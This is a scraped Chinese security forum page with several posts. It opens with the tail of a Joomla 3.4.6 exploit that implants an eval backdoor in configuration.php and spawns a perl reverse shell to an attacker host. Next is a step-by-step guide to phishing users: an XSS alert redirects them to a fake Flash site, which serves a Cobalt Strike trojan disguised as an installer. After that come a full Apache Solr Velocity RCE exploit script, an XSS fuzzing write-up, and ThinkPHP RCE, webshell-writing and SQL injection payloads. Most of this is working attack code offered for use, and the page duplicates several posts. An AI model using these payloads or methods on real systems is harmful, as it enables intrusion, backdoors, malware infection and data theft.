            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在

4.png

 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口

7.png

 
进入configration.php 查看一句木马是否插入成功

5.png

 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl

6.png

 
连接成功

XSS+Flash钓鱼+自解压执行捆绑远程上线木马

sq_smile 发表了文章 • 1 个评论 • 1473 次浏览 • 2019-12-23 11:57 • 来自相关话题

0X00   前期准备:
      adobe flash的钓鱼页面:https://github.com/r00tSe7en/Fake-flash.cn
      一个域名(跟flash官网相近的):




      这个网站的标题是flash的中国官网,所以还是选.cn的比较合适。可以在flash后面加些东西,但是无论加什么东西,这个域名第一年都是29元。
      一个免费的云虚拟主机: https://cloud.tencent.com/act/free?from=11649




      试用时间是15天,虽然有点短吧。但是在实际的钓鱼过程中,应该是够用的。
0X01   自解压木马制作:
      1、先通过coblatstrike生成一个木马"arcifact.exe"。然后准备一个flash的安装程序。




 
      2、鼠标右键,添加到压缩文件。点击创建自解压格式压缩文件。rar就会变成exe后缀的文件。




 
       3、点击高级自解压选项,常规:解压路径   ——>  绝对路径:




 
       4、"高级自解压选项"——>"设置":



C:\windows\temp\artifact.exe
C:\windows\temp\flashplayer_install_cn.exe
        5、模式:




 
         6、更新:




 
         7、点击确定按钮,再点击确定按钮生成"flash试验.exe"




 
        8、修改文件名并更改图标:
               先提取原flash安装包的图标,这里使用的工具是Resource Hacker。打开Resource Hacker,然后把flash的安装包拖进去:




            右击红色方框选中的地方选择下图第一个选项保存ico文件,这个是flash的图标:




            然后关闭flash安装包文件,把我们做好的木马拖进来:




            点击一下红色框中的图标(只点击一下),然后使用ctrl + R。打开更换图标的页面:




               先点击Open file with new icon,那个按钮。选择刚刚保存的flash的icon文件,然后再点击Replace按钮。等这个执行完以后,使用:save as保存刚刚的操作。如果直接使用ctrl + s保存的话,保存后的文件会显示不正常。




              成品图:




   
        9、使用:












             成功上线!
0X02   XSS弹窗:
        这里用XSS靶场最简单的那关作为示例,在真实情况下还需要各位师傅思考如何绕过:xss平台中的项目代码:
window.alert = function(name) {
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的flash版本过低,尝试升级后访问该页面!");
window.location.href="http://www.xxx.com"

注:www.xxx.com是我们精心制作的钓鱼网站。







       通过弹窗将受害者引向我们自己搭建的钓鱼网站。考虑到目标很大可能运行有杀软,所以我们可以把制作的安装包和一个名为安装必读的txt文件做成一个压缩包:
 
 
0X03   总结:1、在制作恶意安装包的时候最好把路径提前复制下来,制作的时候直接粘贴进去。
2、粘贴路径的时候,不要带空格!不要带空格!不要带空格!
3、在提取和替换安装包的时候,一定只使用resource hacker这个一个软件。
4、flash的安装包是有使用次数限制的,使用到一定次数会消失掉。这也使得我们构造的恶意安装包的使用次数变得有限,使用到一定次数记得重新制作。
5、上面关闭绕过软的办法有些土,但是有一定作用。



        只要用户下载并运行我们精心制作的恶意压缩包,那就等着目标上线了。 
0X04   参考文章和工具:https://www.baikesec.com/webstudy/still/77.html
https://pc.qq.com/detail/6/detail_11386.html resource hacker 查看全部
0X00   前期准备:
      adobe flash的钓鱼页面:https://github.com/r00tSe7en/Fake-flash.cn
      一个域名(跟flash官网相近的):
2.png

      这个网站的标题是flash的中国官网,所以还是选.cn的比较合适。可以在flash后面加些东西,但是无论加什么东西,这个域名第一年都是29元。
      一个免费的云虚拟主机: https://cloud.tencent.com/act/free?from=11649
3.png

      试用时间是15天,虽然有点短吧。但是在实际的钓鱼过程中,应该是够用的。
0X01   自解压木马制作:
      1、先通过coblatstrike生成一个木马"arcifact.exe"。然后准备一个flash的安装程序。
4.png

 
      2、鼠标右键,添加到压缩文件。点击创建自解压格式压缩文件。rar就会变成exe后缀的文件。
5.png

 
       3、点击高级自解压选项,常规:解压路径   ——>  绝对路径:
6.png

 
       4、"高级自解压选项"——>"设置":
7.png
C:\windows\temp\artifact.exe
C:\windows\temp\flashplayer_install_cn.exe

        5、模式:
8.png

 
         6、更新:
9.png

 
         7、点击确定按钮,再点击确定按钮生成"flash试验.exe"
10.png

 
        8、修改文件名并更改图标:
               先提取原flash安装包的图标,这里使用的工具是Resource Hacker。打开Resource Hacker,然后把flash的安装包拖进去:
11.png

            右击红色方框选中的地方选择下图第一个选项保存ico文件,这个是flash的图标:
12.png

            然后关闭flash安装包文件,把我们做好的木马拖进来:
13.png

            点击一下红色框中的图标(只点击一下),然后使用ctrl + R。打开更换图标的页面:
14.png

               先点击Open file with new icon,那个按钮。选择刚刚保存的flash的icon文件,然后再点击Replace按钮。等这个执行完以后,使用:save as保存刚刚的操作。如果直接使用ctrl + s保存的话,保存后的文件会显示不正常。
15.png

              成品图:
16.png

   
        9、使用:
17.png

18.png

19.png

             成功上线!
0X02   XSS弹窗:
        这里用XSS靶场最简单的那关作为示例,在真实情况下还需要各位师傅思考如何绕过:
xss平台中的项目代码:
window.alert = function(name) {
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的flash版本过低,尝试升级后访问该页面!");
window.location.href="http://www.xxx.com"

注:www.xxx.com是我们精心制作的钓鱼网站。
20.png

21.png

       通过弹窗将受害者引向我们自己搭建的钓鱼网站。考虑到目标很大可能运行有杀软,所以我们可以把制作的安装包和一个名为安装必读的txt文件做成一个压缩包:
 
 
0X03   总结:
1、在制作恶意安装包的时候最好把路径提前复制下来,制作的时候直接粘贴进去。
2、粘贴路径的时候,不要带空格!不要带空格!不要带空格!
3、在提取和替换安装包的时候,一定只使用resource hacker这个一个软件。
4、flash的安装包是有使用次数限制的,使用到一定次数会消失掉。这也使得我们构造的恶意安装包的使用次数变得有限,使用到一定次数记得重新制作。
5、上面关闭绕过软的办法有些土,但是有一定作用。
22.png

        只要用户下载并运行我们精心制作的恶意压缩包,那就等着目标上线了。 
0X04   参考文章和工具:
https://www.baikesec.com/webstudy/still/77.html
https://pc.qq.com/detail/6/detail_11386.html resource hacker

Apache Solr RCE 复现

llpkk 发表了文章 • 1 个评论 • 299 次浏览 • 2019-12-20 13:57 • 来自相关话题

之前爆出来的RCE,,拿出来复现一波
 
0x00 什么是solr服务器

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果   --百度百科

 0x01 影响范围及原因
影响范围:Apache Solr 5.x - 8.2.0 存在config API版本
原因:1.当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
2.Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。 --------360CERT
0x02 环境搭建 
centos7 docker 搭建git clone https://github.com/vulhub/vulhub.git

cd vulhub/solr/CVE-2019-0193

docker-compose up -d
创建名为wlsmile的Core:docker-compose exec solr bash bin/solr create_core -c wlsmile -d example/example-DIH/solr/db随后直接访问8983端口即可





 
0x03 漏洞利用
漏洞利用的前提是需要知道solr服务器中的core名称才可以进行攻击,但是可以通过访问json数据得到。http://192.168.27.151:8983/solr/admin/cores?wt=json如果访问不到可以不要带参数





 
然后向服务器/solr/bmjoker/config 发送如下POST数据{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}如果返回如下结果即可。





 
接下来直接上EXP即可http://192.168.27.151:8983/solr/wlsmile/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end注意这次是GET发送数据包





 
执行的命令即是 exec函数





 
0x04 编写EXP
网上虽然已经有了rce的exp出来了,但是想着python这门祖传的手艺不能丢,所以我自己也就又写了一个。
 
来试一下效果~











感觉效果也不错~ 





 
 
代码:import requests
import argparse
import json
import re

def Get_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u",dest="url",help="please input the target url...")
args = parser.parse_args()
return args

def Get_Node_Name(url):
url = url + "/solr/admin/cores?wt=json"
respons = requests.get(url=url)
patt = r' "status":{\n "(.*?)":{'
patt = re.compile(patt,re.I|re.S)
result = patt.findall(respons.text)
return result[0]

def Attack(nd_name,url):
data = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
url = url + '/solr/'+ nd_name + '/config'
respons = requests.post(url=url,headers=headers,data=json.dumps(data))
patt = r'"WARNING":"This response format is experimental. It is likely to change in the (.*?)."'
patt = re.compile(patt,re.I|re.S)
result = patt.findall(respons.text)
if result[0] == 'future':
print("You are Win ~~")
else:
print("You are lose ~~")
exit()

def Shell(nd_name,url):
shell = input(">>>")
url = url + "/solr/"+ nd_name +"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+ shell +"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
respons = requests.get(url=url,headers=headers)
print(respons.text)

if __name__ == '__main__':
args = Get_args()
QAQ = '''
____ _ ____ ____ _____
/ ___| ___ | |_ __ | _ \ / ___| ____|
\___ \ / _ \| | '__| | |_) | | | _|
___) | (_) | | | | _ <| |___| |___
|____/ \___/|_|_| |_| \_\\____|_____|

Coded by wlsmile
'''
print(QAQ)
headers = {
"Host": args.url,
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0",
"Content-Length": "0"
}
nd_name = Get_Node_Name(args.url)
Attack(nd_name,args.url)
while True:
Shell(nd_name,args.url)



代码写确实的糙,,,
可以看看大佬们的exp:
https://github.com/Eth4nHunt/Apache-Solr-RCE 
https://github.com/theLSA/solr-rce
 
 
0x05 小结。。
由于以前没有搭过Docker,所以这次复现主要时间耗费在了搭建Docker环境上,并且在拉取镜像的时候也遇到了很多问题,不过也都一一解决了。另外就是在写EXP的时候发现python这门祖传手艺有些生疏了,,看来以后还是多用用的好。理解有误的地方请师傅们指正~~
 
参考:https://www.cnblogs.com/bmjoker/p/11778478.html
 
 
  查看全部
之前爆出来的RCE,,拿出来复现一波
 
0x00 什么是solr服务器


Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果   --百度百科


 0x01 影响范围及原因
影响范围:Apache Solr 5.x - 8.2.0 存在config API版本
原因:
1.当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
2.Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。
当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。 --------360CERT

0x02 环境搭建 
centos7 docker 搭建
git clone https://github.com/vulhub/vulhub.git

cd vulhub/solr/CVE-2019-0193

docker-compose up -d

创建名为wlsmile的Core:
docker-compose exec solr bash bin/solr create_core -c wlsmile -d example/example-DIH/solr/db
随后直接访问8983端口即可

1.png

 
0x03 漏洞利用
漏洞利用的前提是需要知道solr服务器中的core名称才可以进行攻击,但是可以通过访问json数据得到。
http://192.168.27.151:8983/solr/admin/cores?wt=json
如果访问不到可以不要带参数

2.png

 
然后向服务器/solr/bmjoker/config 发送如下POST数据
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
如果返回如下结果即可。

3.png

 
接下来直接上EXP即可
http://192.168.27.151:8983/solr/wlsmile/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
注意这次是GET发送数据包

4.png

 
执行的命令即是 exec函数

5.png

 
0x04 编写EXP
网上虽然已经有了rce的exp出来了,但是想着python这门祖传的手艺不能丢,所以我自己也就又写了一个。
 
来试一下效果~

6.png


7.png


感觉效果也不错~ 

8.png

 
 
代码:
import requests
import argparse
import json
import re

def Get_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u",dest="url",help="please input the target url...")
args = parser.parse_args()
return args

def Get_Node_Name(url):
url = url + "/solr/admin/cores?wt=json"
respons = requests.get(url=url)
patt = r' "status":{\n "(.*?)":{'
patt = re.compile(patt,re.I|re.S)
result = patt.findall(respons.text)
return result[0]

def Attack(nd_name,url):
data = {
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
url = url + '/solr/'+ nd_name + '/config'
respons = requests.post(url=url,headers=headers,data=json.dumps(data))
patt = r'"WARNING":"This response format is experimental. It is likely to change in the (.*?)."'
patt = re.compile(patt,re.I|re.S)
result = patt.findall(respons.text)
if result[0] == 'future':
print("You are Win ~~")
else:
print("You are lose ~~")
exit()

def Shell(nd_name,url):
shell = input(">>>")
url = url + "/solr/"+ nd_name +"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+ shell +"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
respons = requests.get(url=url,headers=headers)
print(respons.text)

if __name__ == '__main__':
args = Get_args()
QAQ = '''
____ _ ____ ____ _____
/ ___| ___ | |_ __ | _ \ / ___| ____|
\___ \ / _ \| | '__| | |_) | | | _|
___) | (_) | | | | _ <| |___| |___
|____/ \___/|_|_| |_| \_\\____|_____|

Coded by wlsmile
'''
print(QAQ)
headers = {
"Host": args.url,
'Content-Type': 'application/json',
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0",
"Content-Length": "0"
}
nd_name = Get_Node_Name(args.url)
Attack(nd_name,args.url)
while True:
Shell(nd_name,args.url)



代码写确实的糙,,,
可以看看大佬们的exp:
https://github.com/Eth4nHunt/Apache-Solr-RCE 
https://github.com/theLSA/solr-rce
 
 
0x05 小结。。
由于以前没有搭过Docker,所以这次复现主要时间耗费在了搭建Docker环境上,并且在拉取镜像的时候也遇到了很多问题,不过也都一一解决了。另外就是在写EXP的时候发现python这门祖传手艺有些生疏了,,看来以后还是多用用的好。理解有误的地方请师傅们指正~~
 
参考:https://www.cnblogs.com/bmjoker/p/11778478.html
 
 
 

参数FUZZ发现的两枚XSS

willeson 发表了文章 • 3 个评论 • 392 次浏览 • 2019-12-20 12:04 • 来自相关话题

1,一个正常的登陆界面,没发现其他的漏洞,但是发现有一个action参数。





2,使用FUZZ一个这个参数,跑出了几个存在的参数。这里给大家推荐WFUZZ这个工具,贼好用。





3,随便给error_msg赋个值发现原样回显,应该是个提示报错信息的端点。





4,没做任何过滤。
 





5,这本来是个空白页面,只有一个index.php,参数a=1是我自己加上稍微试试。





6,FUZZ出一个 r 参数。





7,在浏览器访问发现提示页面未找到,应该参数值不对,继续FUZZ。





8,出来了几个能访问的页面。





9,其中 utils/GetcookieId 回显内容如上,应该是和cookie有关。





10,发现cookie中有id58这个参数,修改一下会原样输出到页面上。





11,填入payload直接弹窗,没做任何过滤。 查看全部

19.12_.19_.1_.PNG

1,一个正常的登陆界面,没发现其他的漏洞,但是发现有一个action参数。

19.12_.20_.10_.PNG

2,使用FUZZ一个这个参数,跑出了几个存在的参数。这里给大家推荐WFUZZ这个工具,贼好用。

19.12_.19_.3_.PNG

3,随便给error_msg赋个值发现原样回显,应该是个提示报错信息的端点。

19.12_.19_.4_.PNG

4,没做任何过滤。
 

19.12_.20_.1_.PNG

5,这本来是个空白页面,只有一个index.php,参数a=1是我自己加上稍微试试。

19.12_.20_.6_.PNG

6,FUZZ出一个 r 参数。

19.12_.20_.7_.PNG

7,在浏览器访问发现提示页面未找到,应该参数值不对,继续FUZZ。

19.12_.20_.8_.PNG

8,出来了几个能访问的页面。

19.12_.20_.9_.PNG

9,其中 utils/GetcookieId 回显内容如上,应该是和cookie有关。

19.12_.20_.4_.PNG

10,发现cookie中有id58这个参数,修改一下会原样输出到页面上。

19.12_.20_.5_.PNG

11,填入payload直接弹窗,没做任何过滤。

ThinkPHP漏洞总结

Web安全渗透fireant 发表了文章 • 1 个评论 • 3766 次浏览 • 2019-12-20 10:08 • 来自相关话题

ThinkPHP 是一个快速、简单的基于 MVC 和面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重开发体验和易用性,为 WEB 应用和 API 开发提供了强有力的支持。
 
0x00前言
本篇文章将针对ThinkPHP的历史漏洞进行整理复现,今后爆出的ThinkPHP漏洞,也将进行补充更新。
 
0x01ThinkPHP远程命令执行/代码执行漏洞
 
一,ThinkPHP 5.0.23远程代码执行
漏洞介绍
2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。
Thinkphp在实现框架中的核心类Request的method方法实现了表单请求伪装。但由于对$_POST[‘_method’]属性校验不严格,导致攻击者可以通过变量覆盖掉Request类的属性并结合框架特性实现对任意函数的调用,从而实现远程代码执行。
 
影响版本
THINKPHP 5.0.x-5.0.23
 
漏洞分析参考:
https://www.freebuf.com/vuls/194093.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
需要目标开启debug模式
 
Poc/exp:
设置url参数s=captcha,post数据_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami




 
二,ThinkPHP 5.0.22远程代码执行
漏洞介绍
2018年12月9日,ThinkPHP官方发布安全更新,修复一处由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,山石网科安服团队经过分析,把该漏洞危险级别定为严重。
Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行
 
影响版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
 
漏洞分析参考:
https://www.secpulse.com/archives/93903.html
 
漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
命令执行payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=whoami



代码执行查看phpinfo?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=-1



写文件payload?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?php phpinfo();?>



 
三,​ThinkPHP 2.2任意代码执行
影响版本
THINKPHP 2.x-2.2

漏洞复现(内网环境)
访问192.168.10.53,选择对应版本
 
Poc/exp:/module/action/param1/${phpinfo()}
/module/action/param1/${eval($_POST[1])}
?s=/abc/abc/abc/${THINK_VERSION}



 
getshell菜刀直接连接构造的连接








0x02ThinkPHP sql注入漏洞
 
一,ThinkPHP 3.2.3/5.1.22 order by注入
漏洞介绍:
该漏洞是因为未正确处理所接收数组类型参数的key,直接拼接到了SQL语句的order by后面,导致漏洞的产生。该漏洞可以获取数据库数据,比如用户账号密码,管理后台账号密码,交易数据等。漏洞危害为高危。
 
影响版本
5.1.16<=ThinkPHP<=5.1.22,<=3.2.3
 
漏洞分析参考:
https://nosec.org/home/detail/1821.html
 
漏洞复现(内网环境)
在/application/index/controller/文件夹下建立Index.php文件,内容如下:<?php
namespace app\index\controller;
class Index{
public function index() {
$data=array();
$data['username']=array('eq','admin');
$order=input('get.orderby/a');
$m=db('user')->where($data)->order($order)->find();
Sdump($m);
}
}
?>
访问192.168.10.53,选择对应版本
 
Poc/exp:
3.2.3?order[updatexml(1,concat(0x3a,user()),1)]=1        
5.1.22 ?orderby[id`|updatexml(1,concat(0x3a,user()),1)%23]=1




二,Thinkphp3.2.3 find/select/delete注入
影响版本
Thinkphp<=3.2.3

漏洞分析参考:
https://www.anquanke.com/post/id/157817
 
漏洞复现(内网环境)
在Application\Home\Controller\IndexController.class.php 添加以下代码:<?php
public function test()
{
$id = i('id');
$res = M('user')‐>find($id);
//find() //$res = M('user')‐>delete($id); //delete()
//$res = M('user')‐>select($id); //select()
}
Poc/exp:
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias, where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行 的,比如having,group等。
where: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐alias: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,u ser(),0x7e),1)‐‐table:http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐




而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空

where: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐alias: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x 7e),1)‐‐table: http://192.168.10.53/web/3.2.3/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat x7e,user(),0x7e),1)‐‐&id[where]=1



 
三,ThinkPHP框架3.2.3 update注入漏洞
影响版本
Thinkphp<=3.2.3
 
漏洞分析参考:
https://www.seebug.org/vuldb/ssvid-97234
 
漏洞复现(内网环境)
在Application/Home/Controller/UserController.class.php添加以下代码:<?php

namespace Home\Controller;
use Think\Controller;

class UserController extends Controller {

public function index(){

$User = M("user");
$user['id'] = I('id');
$data['name'] = I('name');
$data['pass'] = I('pass');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}




Poc/exp:/index.php/home/user?name=1123&pass=liao&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))



 
四,ThinkPHP 5.1.7 update注入
漏洞介绍
本次漏洞存在于 Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.1.6<=Thinkphp<=5.1.7(非最新的 5.1.8 版本也可利用)
 
漏洞分析参考:
https://www.freebuf.com/column/206233.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class index
{
public function indx()
{
$password=input('get.pass/a');
db('user')->where(['id'=>1]->update(['pass'=>&password]));
}
}
Poc/exp:/index.php?pass[0]=inc&pass[1]=updatexml(2,concat(0x7e,user()),0)&pass[2]=1



 
五,ThinkPHP 5.0.15 insert注入
漏洞介绍
本次漏洞存在于 Builder 类的 parseData 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
 
影响版本
5.0.13<Thinkphp<=5.0.15,5.1.0<=thinkphp<=5.1.5
 
漏洞分析参考:
https://www.freebuf.com/column/205976.html
 
漏洞复现(内网环境)
在\thinkphp\application\index\controller\Index.php添加以下代码:class Index
{
public function index()
{
$username = request()->get('name/a');
db('user')->insert(['name' => $name]);
return 'Update success';
}
}
 Poc/exp:/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1



 
